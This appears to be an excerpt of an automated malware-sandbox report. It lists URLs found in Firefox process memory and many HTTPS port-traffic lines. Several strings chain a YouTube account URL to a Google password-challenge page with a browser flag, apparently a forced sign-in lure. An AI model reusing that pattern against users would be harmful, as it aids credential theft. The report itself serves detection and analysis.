Source: firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3418318329.0000396198004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caring
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caringZ
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000019.00000002.3372793946.000001E170AE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000019.00000002.3370172652.000001E1708B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3370172652.000001E170819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com#
Source: firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3372793946.000001E170A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000002.3372793946.000001E170A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/0
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000019.00000002.3340787530.000001E16DE3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=ht
Source: firefox.exe, 00000019.00000002.3372793946.000001E170AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3308646555.000001E169843000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BECC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3411102048.000001E17837F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3368775860.000001E170711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3303449786.000001E15E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000016.00000002.3123247877.00000221DBD57000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.3155630554.000002107FC0F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3303192029.000001E15DF29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTake
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://shavar.servi
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_getBoundsWithoutFlushing.panel-header
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comi
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comoT

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
